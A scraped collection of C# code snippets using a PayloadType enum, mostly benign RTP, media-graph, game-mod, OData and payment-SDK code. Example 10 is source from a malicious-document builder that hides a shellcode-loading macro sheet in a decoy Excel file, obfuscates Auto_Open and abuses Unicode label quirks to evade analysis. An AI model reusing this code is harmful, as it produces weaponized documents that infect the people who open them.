Exemplo n.º 1
0
        /// <summary>
        /// Class factory for creating all RtpSenders
        /// </summary>
        internal static RtpSender CreateInstance(IRtpSession session, string name, PayloadType pt,
                                                  Hashtable priExns, Hashtable paraPay)
        {
            if(priExns != null)
            {
                // Fec RtpSenders
                string fecData = (string)priExns[Rtcp.PEP_FEC];
                if(fecData != null)
                {
                    string[] args = fecData.Split(new char[]{':'});
                    ushort cDataPx = ushort.Parse(args[0]);
                    ushort cFecPx = ushort.Parse(args[1]);

                    // Validates in case private extensions were modified elsewhere than method below
                    if(cFecPx == 0)
                    {
                        throw new ArgumentOutOfRangeException("cFecPx", cFecPx, "Must be >= 1");
                    }

                    if(cDataPx == 0)
                    {
                        // Frame based Fec
                        return new RtpSenderFFec(session, name, pt, priExns, cFecPx);
                    }
                    else 
                    {
                        // Constant Fec
                        return new RtpSenderCFec(session, name, pt, priExns, cDataPx, cFecPx);
                    }
                }
            }

            // Regular old RtpSender
            return new RtpSender(session, name, pt, priExns, paraPay);
        }
Exemplo n.º 2
0
 /// <summary>
 /// Constructs a frame for Sending
 /// </summary>
 public RtpFrame(uint packetSize, PayloadType payloadType, Hashtable payloadPara, uint timeStamp)
 {
     this.packetSize = packetSize;
     this.payloadType = payloadType;
     this.payloadPara = payloadPara;
     this.timeStamp = timeStamp;
 }
Exemplo n.º 3
0
        public PayloadChannel CreateChannel(PayloadType aType)
        {
            PayloadChannel aChannel = new PayloadChannel(aType);
            AddChannel(aChannel);

            return aChannel;
        }
 public QueryParameters(
   PayloadType? payload,
   IScopeParameters scopeParameters,
   IEnumerable<string> fields)
 {
   this.Payload = payload;
   this.ScopeParameters = scopeParameters;
   this.Fields = fields;
 }
Exemplo n.º 5
0
 private bool checkPayloadTypeAttributeApproxEq(PayloadType type)
 {
     switch (type)
     {
         case PayloadType.Altitude:
         case PayloadType.Terrain_altitude:
             return Math.Abs(Attributes.prev_altitude - FlightGlobals.ActiveVessel.altitude) < Attributes.ALTITUDE_APPROX_EQUALITY;
         case PayloadType.Apoapsis:
             return Math.Abs(Attributes.prev_apoapsis - FlightGlobals.ActiveVessel.orbit.ApA) < Attributes.ALTITUDE_APPROX_EQUALITY;
         case PayloadType.Apoapsis_r:
             return Math.Abs(Attributes.prev_apoaps_r - FlightGlobals.ActiveVessel.orbit.ApR) < Attributes.ALTITUDE_APPROX_EQUALITY;
         case PayloadType.Orb_spd:
             return Math.Abs(Attributes.prev_orb_spd - FlightGlobals.ActiveVessel.obt_speed) < Attributes.SPEED_APPROX_EQUALITY;
         case PayloadType.Periapsis:
             return Math.Abs(Attributes.prev_periapsis - FlightGlobals.ActiveVessel.orbit.PeA) < Attributes.ALTITUDE_APPROX_EQUALITY;
         case PayloadType.Periapsis_r:
             return Math.Abs(Attributes.prev_periaps_r - FlightGlobals.ActiveVessel.orbit.PeR) < Attributes.ALTITUDE_APPROX_EQUALITY;
         case PayloadType.Stage:
             return Attributes.prev_stage == FlightGlobals.ActiveVessel.currentStage;
         case PayloadType.Surf_spd:
             return Math.Abs(Attributes.prev_surf_spd - FlightGlobals.ActiveVessel.srfSpeed) < Attributes.SPEED_APPROX_EQUALITY;
         case PayloadType.T_t_apo:
             return Math.Abs(Attributes.prev_t_t_apo - FlightGlobals.ActiveVessel.orbit.timeToAp) < Attributes.GAME_TIME_APPROX_EQUAL;
         case PayloadType.T_t_peri:
             return Math.Abs(Attributes.prev_t_t_peri - FlightGlobals.ActiveVessel.orbit.timeToPe) < Attributes.GAME_TIME_APPROX_EQUAL;
         case PayloadType.Targ_dist:
             // TODO
             return true;
         case PayloadType.Targ_spd:
             return Math.Abs(Attributes.prev_targ_spd - FlightGlobals.ship_tgtSpeed) < Attributes.SPEED_APPROX_EQUALITY;
         case PayloadType.SOI_Num:
             return Attributes.prev_soi == ICCHelpers.SOI_to_SOI_Number(FlightGlobals.ActiveVessel.orbit.referenceBody.name);
         case PayloadType.Latitude:
             return Math.Abs(Attributes.prev_latitude - FlightGlobals.ActiveVessel.latitude) < Attributes.DEGREES_APPROX_EQUALITY;
         case PayloadType.Longitude:
             return Math.Abs(Attributes.prev_longitude - FlightGlobals.ActiveVessel.longitude) < Attributes.DEGREES_APPROX_EQUALITY;
         case PayloadType.Orbital_period:
             return Math.Abs(Attributes.prev_orb_per - FlightGlobals.ActiveVessel.orbit.period) < Attributes.GAME_TIME_APPROX_EQUAL;
         case PayloadType.Gee_force:
             return Math.Abs(Attributes.prev_gee_force - FlightGlobals.ActiveVessel.geeForce) < Attributes.SPEED_APPROX_EQUALITY;
         default:
             print("[ICC] ERROR. Trying to check attribute equality with invalid payload type");
             return true;
     }
 }
Exemplo n.º 6
0
Arquivo: Util.cs Projeto: xornand/bond
        internal static InMemFrame NewPayLoad(ulong conversationId, PayloadType payloadType, IBonded layerData,
                                                IMessage message, TaskCompletionSource<IMessage> taskSource)
        {
            var headers = new SimpleInMemHeaders
            {
                conversation_id = conversationId,
                payload_type = payloadType
            };

            var payload = new InMemFrame
            {
                headers = headers,
                layerData = layerData,
                message = message,
                outstandingRequest = taskSource
            };

            Validate(payload);
            return payload;
        }
Exemplo n.º 7
0
        /// <summary>
        /// Filters rules based on payload type and flag of media link entry.
        /// </summary>
        /// <param name="rules">The collection of input rules</param>
        /// <param name="payloadType">Payload type</param>
        /// <param name="isMediaLinkEntry">Flag of media link entry</param>
        /// <param name="projection">Flag of projected request</param>
        /// <returns>The subset of input rules that meet the conditions of payload type and media link entry flag</returns>
        private static IEnumerable<Rule> SelectRules(this IEnumerable<Rule> rules, PayloadType payloadType, bool isMediaLinkEntry, bool projection)
        {
            rules = from r in rules
                   where !r.PayloadType.HasValue || r.PayloadType == payloadType
                   select r;

            if (payloadType == PayloadType.Entry)
            {
                rules = from r in rules
                        where !r.IsMediaLinkEntry.HasValue || r.IsMediaLinkEntry.Value == isMediaLinkEntry
                        select r;
            }

            if (payloadType == PayloadType.Entry || payloadType == PayloadType.Feed)
            {
                rules = from r in rules
                        where !r.Projection.HasValue || r.Projection.Value == projection
                        select r;
            }

            return rules;
        }
Exemplo n.º 8
0
        /// <summary>
        /// get details of the stream...raw data and start tiume etc
        /// set up the stream senders associated with us. we have n, one active and the rest acting as buffers
        /// </summary>
        public StreamPlayer( RtpSession session, int newStreamID, ConferencePlayerPC cppc)
        {
            int maxFrameSize, maxFrameCount, maxBufferSize;

            // This occasionally throws due to bad data.  Let ConferencePlayer handle it.
            DBHelper.GetStreamStatistics( newStreamID, out this.firstStreamTicks, out maxFrameSize, out maxFrameCount, out maxBufferSize);

            streamID = newStreamID;
            totalFramesSent = 0;
            totalBytesSent = 0;
            totalLateness = 0;
            buffers = new BufferPlayer[Constants.BuffersPerStream];
            perfCounter = cppc;

            string payload;
            DBHelper.GetStreamAndParticipantDetails( streamID, out name, out payload, out cname, out privExtns );
            streamPayload = (PayloadType)Enum.Parse( typeof(PayloadType), payload, true );

            // for delayed buffers (late joiners), we create the rtpSender later
            this.rtpSession = session;

            Trace.WriteLine("Playing back stream: "+streamID+"; payload: "+streamPayload+"; name: "+ (cname + " : " +name));

            // buffer n buffers worth of data
            long startingTick = this.firstStreamTicks;
            for ( int i = 0; i < buffers.Length; i++)
            {
                buffers[i] = new BufferPlayer( streamID, maxFrameSize, maxFrameCount, maxBufferSize);
                buffers[i].Populate( startingTick );
                startingTick = buffers[i].LastTick + 1;

                perfCounter.AddInstanceForCollection(buffers[i]);
            }

            // first stream is initially active
            activeBufferIndex = 0;
            activeBuffer = buffers[activeBufferIndex];
        }
Exemplo n.º 9
0
 internal RtpStreamFec(RtpListener rtpListener, uint ssrc, string ipaddress, SdesData sdes, PayloadType pt) 
     : base(rtpListener, ssrc, ipaddress, sdes, pt)
 {
     this.getBufferHandler = rtpListener.GetBufferCallback;
 }
Exemplo n.º 10
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc)
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();

            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs          = LoadDecoyDocument(decoyDocPath);
            List <string>  preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            if (wbs.GetAllRecordsByType <SupBook>().Count > 0)
            {
                throw new NotImplementedException("Please use a decoy document with no existing Labels.");
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }
            }
            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);

                //Abuse a few comparison "features" in Excel
                //1. Null bytes are ignored at the beginning and start of a label.
                //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
                //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
                //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
                wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2));
            }

            wbe.AddLabel("Auto_Open", rwStart, colStart);

            wbe.ObfuscateAutoOpen();

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, wbe.WbStream);
        }
Exemplo n.º 11
0
        /// <summary>
        /// Connect up a branch of the graph for network sending.  Source filter should already be in the graph.
        /// DVSplitter and compressor may also already be connected, but for uncompressed cases, the Splitter
        /// may not be there yet.
        /// </summary>
        /// <param name="rtpSender"></param>
        /// <param name="payload"></param>
        public override void RenderNetwork(RtpSender rtpSender, PayloadType payload)
        {
            if (rtpSender == null) {
                string msg = Strings.NullRtpSenderError;
                Debug.Fail(msg);
                throw new ArgumentNullException(Strings.RtpSender, msg);
            }

            //Splitter may not yet be added in network scenarios without compression
            if (!this.AddDVSplitter()) {
                throw new ApplicationException("Failed to add DV Splitter");
            }

            networkContext = true;

            if (payload == PayloadType.dynamicVideo) {
                videoRenderer = (Renderer)Filter.NetworkRenderer();
                ((IRtpRenderer)videoRenderer.BaseFilter).Initialize2(rtpSender, this.rtpRendererFlags);
                iGB.AddFilter(videoRenderer.BaseFilter, videoRenderer.FriendlyName);
                videoRenderer.AddedToGraph(fgm);
                iGB.Connect(videoCompressor != null ? videoCompressor.OutputPin : splitterVideoOut,
                    videoRenderer.InputPin);
            }
            else if (payload == PayloadType.dynamicAudio) {
                audioRenderer = (Renderer)Filter.NetworkRenderer();
                ((IRtpRenderer)audioRenderer.BaseFilter).Initialize2(rtpSender, this.rtpRendererFlags);
                iGB.AddFilter(audioRenderer.BaseFilter, audioRenderer.FriendlyName);
                audioRenderer.AddedToGraph(fgm);
                iGB.Connect(audioCompressor != null ? audioCompressor.OutputPin : splitterAudioOut,
                    audioRenderer.InputPin);
            }
        }
Exemplo n.º 12
0
 public virtual void RenderNetwork(RtpSender rtpSender, PayloadType payload)
 {
     RenderNetwork(rtpSender);
 }
Exemplo n.º 13
0
        /// <summary>
        /// Creates an RtpSender with Forward Error Correction
        /// 
        /// This RtpSender sends the data requested by the user, plus some extra data in order to
        /// help recover lost data.  The recovery packets are sent per the specified ratio of
        /// cDataPx : cFecPx, e.g. 3:1 means for every 3 data packets we will send 1 fec packet.
        /// This means we can lose any 1 of the 4 packets and recover the data.  3:2 means we
        /// can lose any 2 of the 5 and still recover the data.
        /// 
        /// It takes 1 FEC packet to recover 1 lost data packet.  It is important to balance the
        /// extra CPU and network bandwidth against the reliability of the data.  Increasing either
        /// CPU or network bandwidth too much may cause worse data loss than not correcting at all.
        /// 
        /// If the FEC ratio uses only 1 FEC packet (2:1, 3:1, etc.) we use an XOR algorithm, which
        /// is very fast.  If the ratio uses more than one FEC packet (3:2, 5:3, etc.), we use the 
        /// Reed-Solomon algorithm.  Reed-Solomon is more complicated and therefore requires more 
        /// CPU, however it allows you to recover from a broader range of loss patterns.
        /// </summary>
        /// <param name="Name">string Friendly Name of the device/sender of this RtpStream</param>
        /// <param name="payloadType">Rtp Payload Type</param>
        /// <param name="priExns">Private extensions for this RtpSender/Stream</param>
        /// <param name="dataPackets">Count of data packets to protect with FEC packets</param>
        /// <param name="perFECPackets">Count of FEC packets to protect data, 1:1 recovery</param>
        public RtpSender CreateRtpSenderFec(string name, PayloadType pt, Hashtable priExns, ushort cDataPx, ushort cFecPx)
        {
            ValidateRtpTraffic();

            RtpSender rtpSender = RtpSender.CreateInstance(this, name, pt, priExns, cDataPx, cFecPx);
            _CreateRtpSender(rtpSender);

            return rtpSender;
        }
Exemplo n.º 14
0
        internal RtpSenderCFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns, 
            ushort cDataPx, ushort cFecPx)
            : base(session, name, pt, priExns, null)
        {
            pcFecType = 1;

            this.cDataPx = cDataPx;
            this.cFecPx = cFecPx;

            SetEncoder();
            InitializeDCStorage();
        }
Exemplo n.º 15
0
 public byte[] GetNextWrittenChunk(PayloadType type) => _writtenChunks.GetValueOrDefault(type, new Queue <List <byte> >(0)).Dequeue().ToArray();
Exemplo n.º 16
0
        private void timerTick(Object sender, EventArgs args)
        {
            LinphoneCall call = ((InCallModel)ViewModel).GetCurrentCall();

            if (call == null)
            {
                return;
            }

            startTime = (DateTimeOffset)call.CallStartTimeFromContext;
            DateTimeOffset now     = DateTimeOffset.Now;
            TimeSpan       elapsed = now.Subtract(startTime);
            var            hh      = elapsed.Hours;
            var            ss      = elapsed.Seconds;
            var            mm      = elapsed.Minutes;

            Status.Text = hh.ToString("00") + ":" + mm.ToString("00") + ":" + ss.ToString("00");

            string audioPayloadType       = "";
            string audioDownloadBandwidth = "";
            string audioUploadBandwidth   = "";
            string videoPayloadType       = "";
            string videoDownloadBandwidth = "";
            string videoUploadBandwidth   = "";

            LinphoneCallParams param = call.GetCurrentParamsCopy();

            ((InCallModel)ViewModel).MediaEncryption = param.MediaEncryption.ToString();

            LinphoneCallStats audioStats = null;

            try
            {
                audioStats = call.AudioStats;
            }
            catch { }

            if (audioStats != null)
            {
                audioDownloadBandwidth       = String.Format("{0:0.00}", audioStats.DownloadBandwidth);
                audioUploadBandwidth         = String.Format("{0:0.00}", audioStats.UploadBandwidth);
                ((InCallModel)ViewModel).ICE = audioStats.IceState.ToString();
            }

            PayloadType audiopt = param.UsedAudioCodec;

            if (audiopt != null)
            {
                audioPayloadType = audiopt.MimeType + "/" + audiopt.ClockRate;
            }

            if (param.VideoEnabled)
            {
                LinphoneCallStats videoStats = call.VideoStats;
                if (videoStats != null)
                {
                    videoDownloadBandwidth = String.Format("{0:0.00}", videoStats.DownloadBandwidth);
                    videoUploadBandwidth   = String.Format("{0:0.00}", videoStats.UploadBandwidth);
                }

                PayloadType videopt = param.UsedVideoCodec;
                if (videopt != null)
                {
                    videoPayloadType = videopt.MimeType;
                }
                Windows.Foundation.Size receivedVideoSize = param.ReceivedVideoSize;
                String NewReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
                String OldReceivedVideoSize = ((InCallModel)ViewModel).ReceivedVideoSize;
                if (OldReceivedVideoSize != NewReceivedVideoSize)
                {
                    ((InCallModel)ViewModel).ReceivedVideoSize = String.Format("{0}x{1}", receivedVideoSize.Width, receivedVideoSize.Height);
                    ((InCallModel)ViewModel).IsVideoActive     = false;
                    if (NewReceivedVideoSize != "0x0")
                    {
                        ((InCallModel)ViewModel).IsVideoActive = true;
                    }
                }
                Windows.Foundation.Size sentVideoSize = param.SentVideoSize;
                ((InCallModel)ViewModel).SentVideoSize        = String.Format("{0}x{1}", sentVideoSize.Width, sentVideoSize.Height);
                ((InCallModel)ViewModel).VideoStatsVisibility = Visibility.Visible;
            }
            else
            {
                ((InCallModel)ViewModel).VideoStatsVisibility = Visibility.Collapsed;
            }

            string downloadBandwidth = audioDownloadBandwidth;

            if ((downloadBandwidth != "") && (videoDownloadBandwidth != ""))
            {
                downloadBandwidth += " - ";
            }
            if (videoDownloadBandwidth != "")
            {
                downloadBandwidth += videoDownloadBandwidth;
            }
            ((InCallModel)ViewModel).DownBandwidth = String.Format("{0} kb/s", downloadBandwidth);
            string uploadBandwidth = audioUploadBandwidth;

            if ((uploadBandwidth != "") && (videoUploadBandwidth != ""))
            {
                uploadBandwidth += " - ";
            }
            if (videoUploadBandwidth != "")
            {
                uploadBandwidth += videoUploadBandwidth;
            }
            ((InCallModel)ViewModel).UpBandwidth = String.Format("{0} kb/s", uploadBandwidth);
            string payloadType = audioPayloadType;

            if ((payloadType != "") && (videoPayloadType != ""))
            {
                payloadType += " - ";
            }
            if (videoPayloadType != "")
            {
                payloadType += videoPayloadType;
            }
            ((InCallModel)ViewModel).PayloadType = payloadType;
        }
Exemplo n.º 17
0
 public bool HasPendingChunks(PayloadType type) => _writtenChunks.TryGetValue(type, out var pendingChunks) && pendingChunks.Count > 0;
Exemplo n.º 18
0
 /// <summary>
 /// Remove everything downstream from the DVSplitter for the specified payload type
 /// </summary>
 /// <param name="payload"></param>
 public override void RemoveFiltersDownstreamFromSource(PayloadType payload)
 {
     RemoveFiltersDownstreamFromSplitter(payload);
 }
Exemplo n.º 19
0
 /// <summary>
 /// Remove everything downstream from the DVSplitter for the specified payload type
 /// </summary>
 /// <param name="payload"></param>
 public override void RemoveCompressor(PayloadType payload)
 {
     RemoveFiltersDownstreamFromSplitter(payload);
 }
Exemplo n.º 20
0
 public virtual void RenderNetwork(RtpSender rtpSender, PayloadType payload)
 {
     RenderNetwork(rtpSender);
 }
Exemplo n.º 21
0
 public static int getsize(PayloadType type)
 {
     switch (type) {
     case PayloadType.Stage:
         return sizeof(int);
     case PayloadType.SOI_Num:
         return sizeof(byte);
     case PayloadType.Latitude:
     case PayloadType.Longitude:
         return sizeof(float);
     default:
         return sizeof(double);
     }
 }
Exemplo n.º 22
0
 protected override void PrepareSequence(ref ReadOnlySequence <byte> sequence, PayloadType payloadType)
 {
 }
Exemplo n.º 23
0
        /// <summary>
        /// // Whether Int64, Decimal or Count are formatted as string in entry or feed.
        /// </summary>
        /// <param name="jo">The response payload object.</param>
        /// <param name="type">The payload type of object.</param>
        /// <param name="odataCount">The odata.count annotation name.</param>
        /// <returns>true:Int64 or Decimal or feed count are formatted as string; false:otherwise; null: not applicable.</returns>
        private bool? IsInt64OrDecimalAsString(JObject jo, PayloadType type, string odataCount)
        {
            bool? isInt64OrDecimalAsString = null;

            if (type == RuleEngine.PayloadType.Entry)
            {
                foreach (JProperty jProp in jo.Children())
                {
                    if (jProp.Name.EndsWith(Constants.V4OdataType) && !jProp.Name.Equals(Constants.V4OdataType)
                        && (jProp.Value.ToString().StripOffDoubleQuotes().Equals("#Decimal") || jProp.Value.ToString().StripOffDoubleQuotes().Equals("#Int64")))
                    {
                        if (((JProperty)jProp.Next).Value.Type == JTokenType.String)
                        {
                            isInt64OrDecimalAsString = true;
                        }
                        else
                        {
                            isInt64OrDecimalAsString = false;
                            break;
                        }
                    }
                }
            }
            else if (type == RuleEngine.PayloadType.Feed)
            {
                foreach (JProperty jp in jo.Children<JProperty>())
                {
                    if (jp.Name.Equals(odataCount))
                    {
                        if (((JProperty)jp).Value.Type == JTokenType.String)
                        {
                            isInt64OrDecimalAsString = true;
                        }
                        else
                        {
                            isInt64OrDecimalAsString = false;
                        }
                        break;
                    }
                }

                foreach (JObject ob in (JArray)jo[Constants.Value])
                {
                    bool? resultMiddle = IsInt64OrDecimalAsString(ob, RuleEngine.PayloadType.Entry, odataCount);

                    if (resultMiddle.HasValue)
                        isInt64OrDecimalAsString = resultMiddle;

                    if (isInt64OrDecimalAsString == false)
                    {
                        break;
                    }
                }
            }

            return isInt64OrDecimalAsString;
        }
Exemplo n.º 24
0
 protected override ValueTask SendAsync(PayloadType type, ReadOnlySequence <byte> sequence) => _sendHandler(this, type, sequence);
Exemplo n.º 25
0
        public RequestBase CreateRequest(HttpMethod httpMethod,
                                         string path,
                                         PayloadType payloadType,
                                         JObject payload,
                                         RequestOptions requestOptions)
        {
            if (string.IsNullOrEmpty(path))
            {
                throw new MercadoPagoRestException("Uri can not be an empty string.");
            }

            if (httpMethod.Equals(HttpMethod.GET))
            {
                if (payload != null)
                {
                    throw new MercadoPagoRestException("Payload not supported for this method.");
                }
            }
            else if (httpMethod.Equals(HttpMethod.POST))
            {
                //if (payload == null)
                //{
                //    throw new MercadoPagoRestException("Must include payload for this method.");
                //}
            }
            else if (httpMethod.Equals(HttpMethod.PUT))
            {
                if (payload == null)
                {
                    throw new MercadoPagoRestException("Must include payload for this method.");
                }
            }
            else if (httpMethod.Equals(HttpMethod.DELETE))
            {
                if (payload != null)
                {
                    throw new MercadoPagoRestException("Payload not supported for this method.");
                }
            }

            RequestBase request = new RequestBase
            {
                Request = (HttpWebRequest)WebRequest.Create(path)
            };

            request.Request.Method = httpMethod.ToString();

            if (requestOptions == null)
            {
                requestOptions = new RequestOptions();
            }

            if (requestOptions.Timeout > 0)
            {
                request.Request.Timeout = requestOptions.Timeout;
            }

            if (!path.Contains("/oauth/token"))
            {
                request.Request.Headers.Add("Authorization", $"Bearer {(!string.IsNullOrEmpty(requestOptions.AccessToken) ? requestOptions.AccessToken : MercadoPagoSDK.OAuthAccessToken)}");
            }

            request.Request.Headers.Add("x-product-id", MercadoPagoSDK.ProductId);
            request.Request.Headers.Add("x-tracking-id", MercadoPagoSDK.TrackingId);

            if (requestOptions.CustomHeaders != null)
            {
                foreach (KeyValuePair <string, string> header in requestOptions.CustomHeaders)
                {
                    if (request.Request.Headers[header.Key] == null)
                    {
                        request.Request.Headers.Add(header.Key, header.Value);
                    }
                }
            }

            if (requestOptions.TrackHeaders != null)
            {
                foreach (KeyValuePair <string, string> trackHeader in requestOptions.TrackHeaders)
                {
                    if (request.Request.Headers[trackHeader.Key] == null && trackHeader.Value != null)
                    {
                        request.Request.Headers[trackHeader.Key] = trackHeader.Value;
                    }
                }
            }

            if (payload != null) // POST & PUT
            {
                byte[] data;
                if (payloadType != PayloadType.JSON)
                {
                    Dictionary <string, string> parametersDict = payload.ToObject <Dictionary <string, string> >();
                    StringBuilder parametersString             = new StringBuilder();
                    parametersString.Append(string.Format("{0}={1}", parametersDict.First().Key, parametersDict.First().Value));
                    parametersDict.Remove(parametersDict.First().Key);
                    foreach (KeyValuePair <string, string> value in parametersDict)
                    {
                        parametersString.Append(string.Format("&{0}={1}", value.Key, value.Value.ToString()));
                    }

                    data = Encoding.ASCII.GetBytes(parametersString.ToString());
                }
                else
                {
                    data = Encoding.ASCII.GetBytes(payload.ToString());
                }

                request.Request.UserAgent     = "MercadoPago DotNet MercadoPagoSDK/" + MercadoPagoSDK.Version;
                request.Request.ContentLength = data.Length;
                request.Request.ContentType   = payloadType == PayloadType.JSON ? "application/json" : "application/x-www-form-urlencoded";
                request.RequestPayload        = data;
            }

            IWebProxy proxy = requestOptions.Proxy ?? (_proxy ?? MercadoPagoSDK.Proxy);

            request.Request.Proxy = proxy;

            return(request);
        }
Exemplo n.º 26
0
 internal RtpSenderFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns, Hashtable paraPay)
     :
     base(session, name, pt, priExns, paraPay)
 {
 }
Exemplo n.º 27
0
 internal RtpSenderFFec(IRtpSession session, string name, PayloadType pt, Hashtable priExns, 
     ushort cFecPx)
     : base(session, name, pt, priExns, null)
 {
     fecPercent = cFecPx;
     pcFecType = 2;
 }
        public SlideStreamMgr(ArchiveTranscoderJob job, ArchiveTranscoderJobSegment segment,
                              LogMgr logMgr, double fps, int width, int height)
        {
            this.job     = job;
            this.segment = segment;
            this.logMgr  = logMgr;

            if (width > 0 && height > 0)
            {
                this.outputWidth  = width;
                this.outputHeight = height;
            }

            this.ticksBetweenFrames = (long)((double)Constants.TicksPerSec / fps);

            uncompressedMT = getUncompressedMT(this.outputWidth, this.outputHeight, fps);
            cancel         = false;
            initialized    = false;
            pptInstalled   = Utility.CheckPptIsInstalled();

            if ((!DateTime.TryParse(segment.StartTime, out start)) ||
                (!DateTime.TryParse(segment.EndTime, out end)))
            {
                throw(new System.Exception("Failed to parse start/end time"));
            }

            this.nextFrameTime = start.Ticks;

            format  = Utility.StringToPresenterWireFormatType(segment.PresentationDescriptor.PresentationFormat);
            payload = Utility.formatToPayload(format);
            cname   = segment.PresentationDescriptor.PresentationCname;

            slideImageMgr = new SlideImageMgr(format, this.outputWidth, this.outputHeight);

            //Get the start time for the entire conference and use that to get streams.
            long confStart = DatabaseUtility.GetConferenceStartTime(payload, cname, start.Ticks, end.Ticks);

            if (confStart <= 0)
            {
                logMgr.WriteLine("Warning: No conference exists in the database that matches this presentation: " + cname +
                                 " with PresentationFormat " + format.ToString());
                logMgr.ErrorLevel = 7;
                confStart         = start.Ticks;
            }

            //Get the relevant stream_id's and create DBStreamPlayers for each.
            streamIDs = DatabaseUtility.GetStreams(payload, segment.PresentationDescriptor.PresentationCname, null, confStart, end.Ticks);
            DateTime sdt = new DateTime(confStart);

            Debug.WriteLine("***Conference start: " + sdt.ToString() + " end: " + end.ToString());
            if ((streamIDs == null) || (streamIDs.Length == 0))
            {
                Debug.WriteLine("No presentation data found.");
                logMgr.WriteLine("Warning: No presentation data was found for the given time range for " +
                                 cname + " with PresentationFormat " + format.ToString());
                logMgr.ErrorLevel = 7;
                streamPlayers     = null;
                return;
            }

            streamPlayers = new DBStreamPlayer[streamIDs.Length];
            for (int i = 0; i < streamIDs.Length; i++)
            {
                streamPlayers[i] = new DBStreamPlayer(streamIDs[i], confStart, end.Ticks, payload);
            }

            lookBehindDuration = 0;
            if (streamPlayers[0].Start < start)
            {
                lookBehindDuration = ((TimeSpan)(start - streamPlayers[0].Start)).TotalSeconds;
            }
        }
Exemplo n.º 29
0
 public virtual void RemoveFiltersDownstreamFromSource(PayloadType payload)
 {
     RemoveFiltersDownstreamFrom(source);
 }
Exemplo n.º 30
0
 public Header(ushort sender, ushort receiver, MessageType msgType, uint telegrammId, uint size, PayloadType type)
     : this()
 {
     SenderId    = sender;
     ReceiverId  = receiver;
     MsgType     = msgType;
     TelegrammId = telegrammId;
     PayloadSize = size;
     PayloadType = type;
 }
Exemplo n.º 31
0
 /// <summary>
 /// Remove everything downstream from the DVSplitter for the specified payload type
 /// </summary>
 /// <param name="payload"></param>
